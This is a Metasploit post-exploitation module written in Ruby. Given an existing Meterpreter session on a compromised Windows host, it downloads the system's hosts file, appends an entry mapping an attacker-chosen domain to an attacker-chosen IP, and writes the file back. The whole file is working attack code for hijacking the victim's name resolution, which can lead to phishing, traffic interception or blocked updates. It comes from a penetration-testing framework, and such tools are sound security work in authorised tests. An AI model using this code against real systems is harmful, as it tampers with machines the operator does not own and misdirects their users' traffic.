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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'English'
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class MetasploitModule < Msf::Post
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Manage Hosts File Injection',
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        'Description' => %q{
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          This module allows the attacker to insert a new entry into the target
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          system's hosts file.
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        },
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        'License' => BSD_LICENSE,
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        'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
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        'Platform' => [ 'win' ],
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        'SessionTypes' => [ 'meterpreter' ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              core_channel_close
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              core_channel_eof
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              core_channel_open
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              core_channel_read
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              core_channel_tell
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              core_channel_write
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              stdapi_fs_stat
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            ]
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          }
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [CONFIG_CHANGES],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options([
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      OptString.new('DOMAIN', [ true, 'Domain name for host file manipulation.' ]),
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      OptString.new('IP', [ true, 'IP address to point domain name to.' ])
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    ])
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  end
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  def run
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    ip = datastore['IP']
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    hostname = datastore['DOMAIN']
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    if ip.blank? || hostname.blank?
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      fail_with(Failure::BadConfig, 'Please specify both DOMAIN and IP.')
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    end
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    hosts_file_path = session.sys.config.getenv('SYSTEMROOT') + '\\System32\\drivers\\etc\\hosts'
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    meterp_temp = Tempfile.new('meterp')
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    meterp_temp.binmode
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    temp_path = meterp_temp.path
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    begin
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      # Download the remote file to the temporary file
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      client.fs.file.download_file(temp_path, hosts_file_path)
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    rescue Rex::Post::Meterpreter::RequestError => e
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      # If the file doesn't exist, then it's okay.  Otherwise, throw the error
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      raise $ERROR_INFO unless e.result == 2
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    end
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    print_status("Inserting hosts file entry pointing #{hostname} to #{ip}..")
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    hostsfile = ::File.open(temp_path, 'ab')
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    hostsfile.write("\r\n#{ip}\t#{hostname}")
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    hostsfile.close
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    client.fs.file.upload_file(hosts_file_path, temp_path)
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    print_good('Done!')
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  end
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end
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